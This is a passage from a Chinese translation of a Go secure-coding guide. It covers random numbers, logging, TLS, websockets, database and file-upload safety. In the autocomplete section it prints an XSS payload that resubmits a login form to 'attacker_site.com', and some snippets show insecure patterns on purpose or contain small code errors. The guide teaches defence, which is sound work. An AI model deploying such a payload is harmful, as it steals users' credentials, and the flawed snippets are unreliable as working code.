import "math/rand"
func main() {
fmt.Println("Random Number: ", rand.Intn(1984))
}
运行这个程序几次会导致完全相同的数字/序列,但是为什么呢?
$ for i in {1..5}; do go run rand.go; done
Random Number: 1825
Random Number: 1825
Random Number: 1825
Random Number: 1825
Random Number: 1825
因为Go's Math/Rand和其他许多方法一样是一个确定性伪随机数生成器,所以它们使用一个称为seed的源。这个种子只负责确定性伪随机数生成器的随机性——如果已知或可预测,生成的数字序列也会发生同样的情况。
我们可以通过使用math/rand seed function为每个程序执行获取预期的五个不同值来“修复”这个例子,但是因为我们在cryptographic practices部分,所以我们应该遵循go's crypto/rand package。
package main
import "fmt"
import "math/big"
import "crypto/rand"
func main() {
rand, err := rand.Int(rand.Reader, big.NewInt(1984))
if err != nil {
panic(err)
}
fmt.Printf("Random Number: %d\n", rand)
}
您可能会注意到运行crypto/rand比math/rand慢,但这是意料之中的:最快的算法并不总是最安全的。crypto的rand实现起来也更安全;一个例子是,您不能种子crypto/rand,库为此使用操作系统随机性,防止开发人员滥用。
$ for i in {1..5}; do go run rand-safe.go; done
Random Number: 277
Random Number: 1572
Random Number: 1793
Random Number: 1328
Random Number: 1378
如果您对如何利用这一点很好奇,那么想想如果您的应用程序在用户注册时创建一个默认密码,通过计算用go's math/rand生成的伪随机数的散列值,会发生什么情况,如第一个示例所示?
是的,你猜对了,你就可以预测用户的密码了!
错误处理和记录
错误处理和日志记录是应用程序和基础结构保护的重要组成部分。当提到错误处理时,它是指捕获应用程序逻辑中可能导致系统崩溃的任何错误,除非正确处理。另一方面,日志记录详细说明了系统上发生的所有操作和请求。日志记录不仅允许识别已发生的所有操作,而且有助于确定需要采取哪些措施来保护系统。由于攻击者有时试图通过删除日志来删除其操作的所有跟踪,因此集中化日志至关重要。
错误处理
在Go中,有一个内置的error
类型。error
类型的不同值表示异常状态。通常在go中,如果错误值不是nil,则会发生一个错误,并且必须进行处理,以便允许应用程序在不崩溃的情况下从所述状态恢复。
Go中的一个简单示例如下:
if err != nil {
// handle the error
}
不仅可以使用内置错误,还可以指定自己的错误类型。这可以通过使用erro.New 函数。例子:
{...}
if f < 0 {
return 0, errors.New("math: square root of negative number")
}
//If an error has occurred print it
if err != nil {
fmt.Println(err)
}
{...}
为了防止我们需要格式化包含无效参数的字符串来查看是什么导致了错误,fmt
包中的errorf
函数允许我们这样做。
{...}
if f < 0 {
return 0, fmt.Errorf("math: square root of negative number %g", f)
}
{...}
在处理错误日志时,开发人员应确保在错误响应中不泄漏敏感信息,并确保没有错误处理程序泄漏信息(例如调试或堆栈跟踪信息)。
在Go中还有额外的错误处理函数,这些函数是恐慌、恢复和延迟。当一个应用程序处于死机状态时,它的正常执行被中断,任何延迟语句被执行,然后函数返回给它的调用方。recover通常在defer语句中使用,并允许应用程序重新获得对恐慌例程的控制权,然后返回正常执行。以下代码段基于Go文档解释了执行流程:
func main () {
start()
fmt.Println("Returned normally from start().")
}
func start () {
defer func () {
if r := recover(); r != nil {
fmt.Println("Recovered in start()")
}
}()
fmt.Println("Called start()")
part2(0)
fmt.Println("Returned normally from part2().")
}
func part2 (i int) {
if i > 0 {
fmt.Println("Panicking in part2()!")
panic(fmt.Sprintf("%v", i))
}
defer fmt.Println("Defer in part2()")
fmt.Println("Executing part2()")
part2(i + 1)
}
输出:
Called start()
Executing part2()
Panicking in part2()!
Defer in part2()
Recovered in start()
Returned normally from start().
通过检查输出,我们可以看到Go如何处理紧急情况并从中恢复,从而允许应用程序恢复其正常状态。这些函数允许从原本不可恢复的故障中进行优雅的恢复。
值得注意的是,延迟使用还包括互斥锁解锁,或者在执行了周围的函数(例如页脚)之后加载内容。
在日志包中还有一个log.fatal。致命级别是有效地记录消息,然后调用os.exit(1)。这意味着:
- 将不执行defer语句。
- 缓冲区将不会被刷新。
- 不会删除临时文件和目录。
考虑到前面提到的所有点,我们可以看到log.fatal与恐慌的区别,以及应该谨慎使用它的原因。可能使用log.fatal的一些示例包括:
- 设置日志记录并检查我们是否有健全的环境和参数。如果我们不这样做,那么就不需要执行main()。
- 一个永远不会发生的错误,我们知道它是不可恢复的。
- 如果一个非交互进程遇到错误而无法完成,则无法将此错误通知用户。最好先停止执行,然后再从失败中出现其他问题。
初始化失败的例子说明:
func init(i int) {
...
//This is just to deliberately crash the function.
if i < 2 {
fmt.Printf("Var %d - initialized\n", i)
} else {
//This was never supposed to happen, so we'll terminate our program.
log.Fatal("Init failure - Terminating.")
}
}
func main() {
i := 1
for i < 3 {
init(i)
i++
}
fmt.Println("Initialized all variables successfully")
重要的是要确保在与安全控制相关联的错误情况下,默认情况下拒绝访问。
日志
日志记录应始终由应用程序处理,不应依赖服务器配置。
所有日志记录都应该由受信任系统上的主例程实现,开发人员还应该确保日志中不包含敏感数据(例如密码、会话信息、系统详细信息等),也不存在任何调试或堆栈跟踪信息。此外,日志记录应该包括成功和失败的安全事件,重点是重要的日志事件数据。
重要事件数据通常指:
- 所有输入验证失败。
- 所有身份验证尝试,尤其是失败。
- 所有访问控制失败。
- 所有明显的篡改事件,包括对状态数据的意外更改。
- 使用无效或过期的会话令牌进行连接的所有尝试。
- 所有系统异常。
- 所有管理功能,包括对安全配置设置的更改。
- 所有后端TLS连接故障和加密模块故障。
一个简单的日志示例说明了这一点:
func main() {
var buf bytes.Buffer
var RoleLevel int
logger := log.New(&buf, "logger: ", log.Lshortfile)
fmt.Println("Please enter your user level.")
fmt.Scanf("%d", &RoleLevel) //<--- example
switch RoleLevel {
case 1:
// Log successful login
logger.Printf("Login successfull.")
fmt.Print(&buf)
case 2:
// Log unsuccessful Login
logger.Printf("Login unsuccessful - Insufficient access level.")
fmt.Print(&buf)
default:
// Unspecified error
logger.Print("Login error.")
fmt.Print(&buf)
}
}
实现通用错误消息或自定义错误页也是一个好的实践,以确保在发生错误时不会泄漏任何信息。
根据文档,Go log package “实现简单的日志记录”,缺少一些常见和重要的功能,例如级别化的日志记录(例如,调试、信息、警告、错误、致命、死机)和格式化程序支持(例如,logstash):这是使日志可用的两个重要功能(例如,用于与安全信息和事件集成)管理体系)。
大多数(如果不是全部)第三方日志记录包都提供这些功能和其他功能。以下是一些后流行的第三方日志记录包:
- Logrus - https://github.com/Sirupsen/logrus
- glog - https://github.com/golang/glog
- loggo - https://github.com/juju/loggo
关于Go's log package的一个重要注意事项是:致命的和紧急的函数都比日志功能做得更多。panic函数在写入日志消息后调用panic库通常不接受的内容,而致命的函数调用os。在写入日志消息后退出(1)可能终止程序以阻止延迟语句运行、要刷新的缓冲区和/或要删除的临时数据。
从日志访问的角度来看,只有授权的个人才可以访问日志。开发人员还应确保设置了允许日志分析的机制,并确保不受信任的数据不会作为代码在预期的日志查看软件或界面中执行。
关于分配的内存清理,Go有一个内置的垃圾收集器。
作为确保日志有效性和完整性的最后一步,应使用加密哈希函数作为附加步骤,以确保不会发生日志篡改。
{...}
// Get our known Log checksum from checksum file.
logChecksum, err := ioutil.ReadFile("log/checksum")
str := string(logChecksum) // convert content to a 'string'
// Compute our current log's MD5
b, err := ComputeMd5("log/log")
if err != nil {
fmt.Printf("Err: %v", err)
} else {
md5Result := hex.EncodeToString(b)
// Compare our calculated hash with our stored hash
if str == md5Result {
// Ok the checksums match.
fmt.Println("Log integrity OK.")
} else {
// The file integrity has been compromised...
fmt.Println("File Tampering detected.")
}
}
{...}
注意:computemd5()
函数计算文件的md5。同样重要的是,必须将日志文件哈希存储在安全的地方,并与当前日志哈希进行比较,以在对日志进行任何更新之前验证完整性。文档中包含完整的源代码。
数据保护
现如今,安全中最重要的事情之一就是数据保护。你不会想要:
简而言之,Web应用程序中的数据需要受到保护,因此在本节中,我们将研究保护数据的不同方法。 你应该注意的第一件事是为每个用户创建和实现正确的权限,并将用户仅限于他们真正需要的功能。 例如,考虑一个具有以下用户角色的简单在线商店:
- 销售用户:只允许查看目录
- 营销用户:允许查看统计数据
- 开发人员:允许修改页面和web应用程序选项
此外,在系统配置(又称为web服务器)中,应该定义正确的权限。 主要是为每个用户定义正确的角色 —— web用户或系统用户。 访问控制部分,将进一步讨论角色分离和访问控制。
删除敏感信息
包含敏感信息的临时文件和缓存文件应该在不需要时立即删除。如果你仍然需要它们中的某些内容,将它们移到受保护的区域或对它们加密。
注释
有时候开发人员会在源代码中留下类似于To-do列表的注释,还有时候,在最坏的情况下,开发人员可能会留下凭证。
// Secret API endpoint - /api/mytoken?callback=myToken
fmt.Println("Just a random code")
在上面的例子中,开发人员在注释中有一个endpoint
,如果没有得到很好的保护,则可能被恶意用户使用。
URL
使用HTTP GET方法传递敏感信息会使web应用程序容易受到攻击,因为:
1. 如果不使用HTTPS,通过MITM攻击,数据可能被拦截。
2. 浏览器历史记录存储用户的信息。如果URL中,带有未过期的session IDs
、pins
或tokens
(或低熵值),则它们可能被窃取。
req, _ := http.NewRequest("GET", "http://mycompany.com/api/mytoken?api_key=000s3cr3t000", nil)
如果web应用程序使用你的api_key从第三方网站获取信息,那么如果有人在监听你的网络,那么这些信息可能会被窃取。这是因为不使用HTTPS和使用GET方法传递参数。
此外,如果你的web应用程序有指向示例站点的链接:
http://mycompany.com/api/mytoken?api_key=000s3cr3t000
它将存储在你的浏览器历史记录中,因此,它也可能被窃取。
解决方案是,应该始终使用HTTPS。此外,尝试使用POST方法传递参数,如果可能的话,只使用一次性的session id或token。
信息就是力量
你应该始终删除生产环境上的应用程序和系统文档。有些文档可能会公开一些版本或功能(例如Readme、Changelog等),这些功能可以被用来攻击web应用程序。
作为开发人员,你应该允许用户删除不再使用的敏感信息。假设用户帐户上的信用卡过期了,想要删除它们 — web应用程序应该允许这样做。
所有不再需要的信息必须从应用程序中删除。
加密是关键
web应用程序中,每个高度敏感的信息都应该加密。使用Go中提供的军用级加密;有关更多信息,请参见加密实践部分。
如果需要在其他地方执行的的代码,那么只需编译并共享二进制文件 — 没有可靠的解决方案来防止逆向工程。
获得访问代码的不同权限并限制源代码的访问是最好的方法。
不要在客户端以明文或任何非加密安全的方式存储密码、连接字符串(参见“数据安全 部分,如何保护数据库连接字符串的示例”一节)或其他敏感信息。这些敏感信息还包括以不安全的格式嵌入的内容(如Adobe flash或已编译的代码)。
go中,使用外部包golang.org/x/crypto/nacl/secretboxin
进行加密的小例子:
// Load your secret key from a safe place and reuse it across multiple
// Seal calls. (Obviously don't use this example key for anything
// real.) If you want to convert a passphrase to a key, use a suitable
// package like bcrypt or scrypt.
secretKeyBytes, err := hex.DecodeString("6368616e676520746869732070617373776f726420746f206120736563726574")
if err != nil {
panic(err)
}
var secretKey [32]byte
copy(secretKey[:], secretKeyBytes)
// You must use a different nonce for each message you encrypt with the
// same key. Since the nonce here is 192 bits long, a random value
// provides a sufficiently small probability of repeats.
var nonce [24]byte
if _, err := rand.Read(nonce[:]); err != nil {
panic(err)
}
// This encrypts "hello world" and appends the result to the nonce.
encrypted := secretbox.Seal(nonce[:], []byte("hello world"), &nonce, &secretKey)
// When you decrypt, you must use the same nonce and key you used to
// encrypt the message. One way to achieve this is to store the nonce
// alongside the encrypted message. Above, we stored the nonce in the first
// 24 bytes of the encrypted text.
var decryptNonce [24]byte
copy(decryptNonce[:], encrypted[:24])
decrypted, ok := secretbox.Open([]byte{}, encrypted[24:], &decryptNonce, &secretKey)
if !ok {
panic("decryption error")
}
fmt.Println(string(decrypted))
输出:
hello world
禁用不需要的内容
另一种简单有效的缓解攻击的方法是确保在系统中禁用任何不必要的应用程序或服务。
自动完成
根据Mozilla文档,您可以在整个表单中,使用以下方法禁用自动完成功能:
<form method="post" action="/form" autocomplete="off">
或特定的表单元素:
<input type="text" id="cc" name="cc" autocomplete="off">
这对于在登录表单上禁用自动完成功能特别有用。假设在登录页面中存在XSS向量。如果恶意用户创建了如下有效负载:
window.setTimeout(function() {
document.forms[0].action = 'http://attacker_site.com';
document.forms[0].submit();
}
), 10000);
它将自动填充表单字段发送到attacker_site.com
。
缓存
页面中,包含敏感信息的缓存控制应该被禁用。 这可以通过设置相应的header标志来实现,如下面的代码片段所示:
w.Header().Set("Cache-Control", "no-cache, no-store")
w.Header().Set("Pragma", "no-cache")
no-cache
告诉浏览器在使用任何缓存信息之前与服务器重新验证(防止从缓存中获取过期的资源),而不是告诉浏览器不要缓存。
另一方面,no-store
值实际上是 — 停止缓存!,并且不能存储请求或响应的任何部分。
Pragma
头用于支持HTTP/1.0请求。
通信安全
在讨论通信安全性时,开发人员应该确保用于通信的通道是安全的。通信类型包括服务器-客户端、服务器-数据库以及所有后端通信。这些数据必须加密,以保证数据的完整性,并防止与通信安全相关的常见攻击。如果不能保证这些通道的安全,就会发生像MITM这样的攻击,让犯罪分子拦截并读取这些通道中的流量。
本节涵盖以下通讯渠道: - HTTP/TLS - Websockets
HTTP/TLS
TLS/SSL是一种加密协议,它允许在其他不安全的通信通道上进行加密。它最常见的用途是提供安全的HTTP通信,也称为HTTPS。该协议确保以下属性适用于通信通道:
- 隐私
- 身份验证
- 数据完整性
它在Go中的实现在crypto/tls
包中。在本节中,我们将重点介绍Go的实现和用法。虽然协议设计的理论部分和它的加密实践超出了本文的范围,但是本文档的加密实践
部分还是提供了更多信息。
以下是使用TLS的HTTP的简单示例:
import "log"
import "net/http"
func main() {
http.HandleFunc("/", func (w http.ResponseWriter, req *http.Request) {
w.Write([]byte("This is an example server.\n"))
})
// yourCert.pem - path to your server certificate in PEM format
// yourKey.pem - path to your server private key in PEM format
log.Fatal(http.ListenAndServeTLS(":443", "yourCert.pem", "yourKey.pem", nil))
}
这是一个,在用Go实现的web服务器中,简单的开箱即用的SSL实现。值得注意的是,这个示例在SSL实验室中获得了“A”。
为了进一步提高通信安全,可以在header中添加以下标志,以强制执行HSTS (HTTP严格传输安全):
w.Header().Add("Strict-Transport-Security", "max-age=63072000; includeSubDomains")
Go的TLS实现在crypto/ TLS包中。在使用TLS时,请确保使用了单个标准TLS实现,并对其进行了适当的配置。
基于前面的例子实现SNI(Server Name Indication):
...
type Certificates struct {
CertFile string
KeyFile string
}
func main() {
httpsServer := &http.Server{
Addr: ":8080",
}
var certs []Certificates
certs = append(certs, Certificates{
CertFile: "../etc/yourSite.pem", //Your site certificate key
KeyFile: "../etc/yourSite.key", //Your site private key
})
config := &tls.Config{}
var err error
config.Certificates = make([]tls.Certificate, len(certs))
for i, v := range certs {
config.Certificates[i], err = tls.LoadX509KeyPair(v.CertFile, v.KeyFile)
}
conn, err := net.Listen("tcp", ":8080")
tlsListener := tls.NewListener(conn, config)
httpsServer.Serve(tlsListener)
fmt.Println("Listening on port 8080...")
}
需要注意的是,在使用TLS时,证书应该是有效的,拥有正确的域名,不应该过期,并且应该在需要时安装中间证书,如OWASP SCP快速参考指南所建议的那样。
重要提示:无效的TLS证书应该始终被拒绝。确保在生产环境中,没有将InsecureSkipVerify配置设置为true。
以下代码段是如何设置的示例:
config := &tls.Config{InsecureSkipVerify: false}
使用正确的主机名以设置服务器名称:
config := &tls.Config{ServerName: "yourHostname"}
另一种已知的TLS攻击被称为POODLE。 当客户端不支持服务器的密码时,它与TLS连接回退有关。 这允许将连接降级为易受攻击的密码。
默认情况下,Go禁用SSLv3,可以使用以下配置,来设置密码的最小版本和最大版本:
// MinVersion contains the minimum SSL/TLS version that is acceptable.
// If zero, then TLS 1.0 is taken as the minimum.
MinVersion uint16
// MaxVersion contains the maximum SSL/TLS version that is acceptable.
// If zero, then the maximum version supported by this package is used,
// which is currently TLS 1.2.
MaxVersion uint16
可以通过SSL实验室,来检查,使用的密码的安全性。
一个通常用于减轻降级攻击的附加标志,是RFC7507中定义的TLS_FALLBACK_SCSV。 在Go中,没有回退。
引用Google开发者Adam Langley的话:
Go客户端不执行回退,因此不需要发送TLS_FALLBACK_SCSV。
另一种称为CRIME的攻击会影响使用压缩的TLS会话。 压缩是核心协议的一部分,但它是可选的。用Go语言编写的程序可能并不容易受到攻击,原因很简单,因为目前crypto/tls
不支持压缩机制。一个需要记住的重要注意事项是,如果Go包装器用于外部安全库,应用程序可能很容易受到攻击。
TLS的另一部分与重新协商连接有关。为了确保没有建立不安全的连接,请使用GetClientCertificate
及其相关的错误代码,以防握手终止。可以捕获错误代码以防止使用不安全的通道。
所有请求也应编码为预定的字符编码,例如UTF-8。 这可以在header中设置:
w.Header().Set("Content-Type", "Desired Content Type; charset=utf-8")
处理HTTP连接时的另一个重要方面是,验证HTTP头在访问外部站点时,不包含任何敏感信息。既然连接可能不安全,那么HTTP报头就可能泄漏信息。
Websockets
WebSocket是为HTML 5开发的一种新的浏览器功能,它支持完全交互式应用程序。使用WebSockets,浏览器和服务器都可以通过一个TCP套接字发送异步消息,而无需使用长轮询或短轮训。
本质上,WebSocket是客户机和服务器之间的标准双向TCP套接字。这个套接字以常规HTTP连接开始,然后在HTTP握手之后“升级”为TCP套接字。任何一方都可以在握手之后发送数据。
Origin header
HTTP Websocket握手中的Origin
header用于确保Websocket接受的连接来自可信的原始域。执行失败可能导致跨站点请求伪造(CSRF)。
服务器负责在初始HTTP WebSocket握手中验证Origin头。 如果服务器未在初始WebSocket握手中验证原始header,则WebSocket服务器可能接受来自任何源的连接。
以下示例使用Origin头检查,以防止攻击者执行CSWSH(跨站点WebSocket劫持)。
应用程序应该验证Host
和Origin
,以确保请求的Origin
是可信任的Origin
,否则拒绝连接。
下面的代码片段演示了一个简单的检查:
//Compare our origin with Host and act accordingly
if r.Header.Get("Origin") != "http://"+r.Host {
http.Error(w, "Origin not allowed", 403)
return
} else {
websocket.Handler(EchoHandler).ServeHTTP(w, r)
}
机密性和完整性
Websocket通信通道可以通过未加密的TCP或加密的TLS建立。
当使用未加密的Websockets时,URI scheme
是ws://
,其默认端口是80
。如果使用TLS Websockets, URI scheme
是wss://
,默认端口是443
。
涉及到Websockets时,无论是使用TLS方式还是用未加密方式,我们必须考虑原始连接。
在本节中,我们将展示连接从HTTP升级到Websocket时发送的信息,以及如果处理不当所带来的风险。在第一个示例中,我们看到常规HTTP连接正在升级到Websocket连接:
注意,请求头包含此次会话的cookie。为确保不泄漏敏感信息,升级连接时应该使用TLS。如下图所示:
在后一个例子中,和Websocket一样,我们的连接升级请求使用SSL:
认证和授权
Websockets不处理认证或授权,这意味着必须使用诸如cookie、HTTP身份验证或TLS身份验证等机制来确保安全性。有关这方面的更详细信息,请参阅本文档的“身份验证”和“访问控制”部分。
输入数据清理
与来自不可信源的任何数据一样,应该对数据进行适当的清理和编码。有关这些主题的更详细内容,请参阅本文档的“数据清理”和“输出编码”部分。
系统配置
保持更新是安全的关键。因此,开发人员应该将Go更新到最新版本,包括Web应用程序中使用的外部包和框架。
关于Go中的HTTP请求,你需要知道任何传入服务器的请求都是使用HTTP/1.1或HTTP/2来完成的。如果请求是:
req, _ := http.NewRequest("POST", url, buffer)
req.Proto = "HTTP/1.0"
Proto
将被忽略,请求会使用HTTP/1.1发出。
目录列表
如果开发人员忘记禁用目录列表(OWASP也称其为目录索引),攻击者可以通过目录导航出一些敏感文件。
如果你运行一个Go Web服务器应用程序,你还应该小心:
http.ListenAndServe(":8080", http.FileServer(http.Dir("/tmp/static")))
如果你访问localhost:8080
,它将打开你的index.html。但是假设你有一个测试目录localhost:8080/test/
,内部有敏感文件:
为什么会这样? Go尝试在目录中找到index.html,如果它不存在,它将显示目录列表。
要解决这个问题,有三个可行的解决方案:
- 在你的web应用程序中禁用目录列表
- 限制对不必要的目录和文件的访问
- 为每个目录创建一个索引文件
这里我们将描述一种禁用目录列表的方法,首先,创建一个函数来检查所请求的路径,以及是否可以显示该路径。
type justFilesFilesystem struct {
fs http.FileSystem
}
func (fs justFilesFilesystem) Open(name string) (http.File, error) {
f, err := fs.fs.Open(name)
if err != nil {
return nil, err
}
return neuteredReaddirFile{f}, nil
}
然后我们在http.ListenAndServe
中使用它:
fs := justFilesFilesystem{http.Dir("tmp/static/")}
http.ListenAndServe(":8080", http.StripPrefix("/tmp/static", http.FileServer(fs)))
请注意,我们的应用程序仅允许显示tmp/static
路径。当我们试图直接访问受保护的文件,我们得到:
如果我们尝试获取test/
目录列表,我们将得到相同的错误
删除/禁用你不需要的内容
在生产环境中,删除所有不需要的功能点和文件。测试代码和函数,只应该留在开发人员层,而不是每个人都能看到的位置。最终版本 (准备上生产的版本) 不需要任何测试代码和函数。
我们还应该检查HTTP响应头。删除响应头中暴露的敏感信息,例如:
- 操作系统版本
- Webserver版本
- 框架或编程语言版本
攻击者可以使用这些信息来检查你公开的版本中的漏洞,因此建议删除它们。 默认情况下,Go不会公开这些内容。但是,如果你使用任何类型的外部包或框架,不要忘记仔细检查。
类似这样的:
w.Header().Set("X-Request-With", "Go Vulnerable Framework 1.2")
在代码中搜索,暴露的HTTP头的代码,然后删除它。
你还可以在web应用程序中定义支持哪些HTTP方法。如果应用程序只接受POST
和GET
请求,使用以下代码实现CORS:
w.Header().Set("Access-Control-Allow-Methods", "POST, GET")
不要担心禁用WebDAV之类的东西,因为如果要实现WebDAV服务器,需要导入一个包。
实现更好的安全性
调整好心态,然后遵循Web服务器,流程和服务帐户上的最小权限原则。
关注web应用程序中的错误处理。发生异常时,安全地处理错误。 你可以查看本指南中的错误处理](https://www.giac.org/paper/gsec/2693/implementation-methodology-information-security-management-system-to-comply-bs-7799-requi/104600)) )和日志记录部分,以获取有关此主题的更多信息。
防止在robots.txt
文件中暴露目录结构。robots.txt是一个方向文件,而不是一个安全控件。 采用白名单方法:
User-agent: *
Allow: /sitemap.xml
Allow: /index
Allow: /contact
Allow: /aboutus
Disallow: /
上面的示例将允许任何用户代理或机器人索引这些特定页面,并禁止其余页面。 这样就不会泄露敏感文件夹或页面 - 例如管理路径或其他重要数据。
将开发环境与生产环境的网络隔离开来。为开发人员和测试组,提供正确的访问权限,更好的是创建额外的安全层来保护它们。在大多数情况下,开发环境更容易成为攻击的目标。
最后,但仍然非常重要的是,要有一个软件更改控制系统来管理和记录Web应用程序代码(开发和生产环境)中的更改。有许多在你自己主机上搭建类似Github的克隆可以用于此目的。
资产管理系统:
虽然资产管理系统不是Go特定的问题,但以下部分将简要概述该概念及其实践。
资产管理包括组织执行的一系列活动,以便根据组织目标实现资产的最佳配置,以及对每项资产所需安全级别的评估。应该注意的是,在本节中,当我们提到资产时,我们不仅讨论系统的组件,而且还讨论软件。
实施该系统涉及的步骤如下:
1. 确定信息安全在企业中的重要性。
2. 定义AMS的范围。
3. 定义安全策略。
4. 建立安全组织结构。
5. 识别和分类资产。
6. 识别和评估风险。
7. 规划风险管理。
8. 实施风险缓解策略。
9. 写下适用性声明。
10. 培训员工并树立安全意识。
11. 监控并查看AMS性能。
12. 维护AMS并确保持续改进。
可以在此处找到对此实现更深入的分析。
数据库安全
关于OWASP SCP的这一节,将讨论开发人员和DBA,在web应用程序中使用数据库时,需要采取的所有数据库安全问题和操作。
Go没有数据库驱动程序,而是在database/sql包上有一个核心接口驱动程序。这意味着在使用数据库连接时需要注册SQL驱动程序(例如:MariaDB、sqlite3)。
最佳实践
在Go中实现数据库之前,您应该注意下面我们将讨论的一些配置:
- 安全数据库安装
更改/设置root账户的密码;
删除本地主机外部可访问的root帐户;
删除任何匿名用户帐户;
删除任何现有的测试数据库;
- 删除任何不必要的存储过程、实用程序包、不必要的服务、vendor内容(例如示例模式)。
- 安装数据库与Go一起使用所需的最少功能和选项集。
- 禁用web应用程序上不需要连接到数据库的任何默认帐户。
另外,由于验证数据库上的输入和编码输出非常重要,所以请务必阅读本指南的输入验证 和输出编码部分。
在使用数据库时,这基本上可以适用于任何编程语言。
数据库连接
概念
sql.Open
不返回数据库连接,而是返回*DB
:数据库连接池。当运行一个数据库操作(例如查询)时,从池中取出一个可用连接,该连接应该在操作完成后立即返回到连接池中。
请记住,仅在首次执行数据库操作(如查询)时才会打开一个数据库连接。sql.Open
并不会测试数据库连接:数据库凭据错误,要在第一个数据库操作执行时才会触发。
根据经验,应该始终使用database/sql
接口的上下文变体(例如QueryContext()),并提供适当的上下文。
来自Go官方文档:“Package上下文定义了Context类型,它跨API边界和进程之间传递截止日期,取消信号和其他请求范围的值。” 在数据库级别,当上下文被取消时,如果没有提交事务,将回滚事务,rows(来自QueryContext)将被关闭,并返回所有资源。
package main
import (
"context"
"database/sql"
"fmt"
"log"
"time"
_ "github.com/go-sql-driver/mysql"
)
type program struct {
base context.Context
cancel func()
db *sql.DB
}
func main() {
db, err := sql.Open("mysql", "user:@/cxdb")
if err != nil {
log.Fatal(err)
}
p := &program{db: db}
p.base, p.cancel = context.WithCancel(context.Background())
// Wait for program termination request, cancel base context on request.
go func() {
osSignal := // ...
select {
case <-p.base.Done():
case <-osSignal:
p.cancel()
}
// Optionally wait for N milliseconds before calling os.Exit.
}()
err = p.doOperation()
if err != nil {
log.Fatal(err)
}
}
func (p *program) doOperation() error {
ctx, cancel := context.WithTimeout(p.base, 10 * time.Second)
defer cancel()
var version string
err := p.db.QueryRowContext(ctx, "SELECT VERSION();").Scan(&version)
if err != nil {
return fmt.Errorf("unable to read version %v", err)
}
fmt.Println("Connected to:", version)
}
连接字符串的保护
为了保证连接字符串的安全性,最好将身份验证细节放在公共访问之外的独立配置文件中。
不要将配置文件放在/home/public_html/
中,而是考虑放在/home/private/configdb.xml
中(受保护的区域)
<connectionDB>
<serverDB>localhost</serverDB>
<userDB>f00</userDB>
<passDB>f00?bar#ItsP0ssible</passDB>
</connectionDB>
然后你可以在Go文件中调用config.xml文件:
configFile, _ := os.Open("../private/configDB.xml")
读取文件后,连接数据库:
db, _ := sql.Open(serverDB, userDB, passDB)
当然,如果攻击者具有root访问权限,他就可以看到该文件。这就引出了你能做的最谨慎的事情--加密文件。
数据库证书
你应该为每个信任区块和级别使用不同的凭据:
- 用户
- 只读用户
- 客人
- 管理
这样,如果连接是为只读用户建立的,他们就永远不会破坏数据库信息,因为这些用户实际上只能读取数据。
数据库认证
以最小权限访问数据库
如果您的Go web应用程序只需要读取数据而不需要写入信息,那么创建一个权限为只读的数据库用户。始终根据web应用程序的需要调整数据库用户。
使用强密码
创建数据库访问权限时,请选择强密码。您可以使用密码管理器来生成强密码,或者使用为你执行相同操作的在线Web应用程序 - 强密码生成器。
删除默认的管理密码
大多数DBS都有默认帐户,其中大部分都没有最高权限用户的密码。 MariaDB,MongoDB - root /无密码
这意味着如果没有密码,攻击者就可以访问所有内容。
此外,如果你要将代码发布在Github的可公开访问的存储库中,请不要忘记删除您的凭据或私钥。
参数化查询
预先准备好的查询语句(带有参数化查询)是防止SQL注入的最佳和最安全的方法。
在某些报告的情况下,预先准备好的语句可能会有损web应用程序的性能。因此,如果出于某种原因需要停止使用这种类型的数据库查询,我们强烈建议阅读输入验证和输出编码部分。
Go与其他语言的常用预准备语句的工作方式不同 - 你不需要在连接上准备语句, 而在DB上准备。
示例
- 开发人员在连接池中的一个连接上准备语句(Stmt)
- Stmt对象会记住使用了哪个连接
- 当应用程序执行Stmt时,它尝试使用该连接。如果它不可用,它将尝试在池中找到另一个连接
这种类型的流可能导致数据库的高并发性使用,并创建大量预准备的语句。所以,记住这些信息非常重要。
以下是带参数化查询的预准备语句的示例:
customerName := r.URL.Query().Get("name")
db.Exec("UPDATE creditcards SET name=? WHERE customerId=?", customerName, 233, 90)
有时候,准备好的语句不是你想要的。这可能有几个原因:
- 数据库不支持预准备语句。例如,在使用MySQL驱动程序时,可以连接到MemSQL和Sphinx,因为它们支持MySQL 有线协议。但是它们不支持包含预准备语句的“二进制”协议,因此它们可能会以令人困惑的方式失败。
- 这些语句的重用性不足以使它们变得有价值,并且安全问题在我们的应用程序堆栈的另一层处理(请参阅:输入验证和输出编码,因此上面所示的性能是不可取的。
存储过程
开发人员可以使用存储过程创建查询的特定视图,以防止敏感信息被归档,而不是使用普通查询。
开发人员可以添加一个接口,通过创建和限制对存储过程的访问,将一个人使用特定存储过程和可以访问的信息类型区分开来。使用此功能,开发人员可以更容易地管理该过程,特别是在从安全角度控制表和列时,非常方便。
让我们来看一个例子……
假设你有一个表,其中包含关于用户护照ID的信息。
使用如下查询:
SELECT * FROM tblUsers WHERE userId = $user_input
除了输入验证的问题之外,数据库用户(在本例中,用户名为John)还可以通过用户ID访问所有信息。
如果John只能使用这个存储过程会怎样:
CREATE PROCEDURE db.getName @userId int = NULL
AS
SELECT name, lastname FROM tblUsers WHERE userId = @userId
GO
你只需使用以下命令即可运行:
EXEC db.getName @userId = 14
通过这种方式,你可以确定用户John只看到他请求的用户的name
和lastname
。
存储过程并不是无懈可击的,但是它为你的web应用程序创建了一个新的保护层。存储过程为DBA在控制权限方面提供了很大的优势(例如,用户可以限于特定的行/数据),甚至更好的服务器性能。
文件管理
处理文件时要采取的第一个预防措施是,确保不允许用户直接向任何动态函数提供数据。在PHP等语言中,将用户数据传递给动态加载函数是一个严重的安全风险。Go是一种编译语言,这意味着不会include
函数,而且通常不会动态加载库。
Go 1.8版本,允许通过新的插件机制来实现动态加载。如果你的应用程序使用这种机制,应该对用户提供的输入采取预防措施。
文件上传应该仅限于经过身份验证的用户。在确保文件上传仅能由经过身份验证的用户完成之后,安全性的另一个重要方面是,确保只有白名单中的文件类型才能上传到服务器。可以使用以下检测MIME类型的Go函数进行此检查:func DetectContentType(data []byte) string
附加了一个读取文件并识别其MIME类型的简单程序。最相关的部分如下:
{...}
// Write our file to a buffer
// Why 512 bytes? See http://golang.org/pkg/net/http/#DetectContentType
buff := make([]byte, 512)
_, err = file.Read(buff)
{...}
//Result - Our detected filetype
filetype := http.DetectContentType(buff)
在识别文件类型之后,根据允许的文件类型的白名单,验证文件类型。 在该示例中,这在以下部分中实现:
{...}
switch filetype {
case "image/jpeg", "image/jpg":
fmt.Println(filetype)
case "image/gif":
fmt.Println(filetype)
case "image/png":
fmt.Println(filetype)
default:
fmt.Println("unknown file type uploaded")
}
{...}
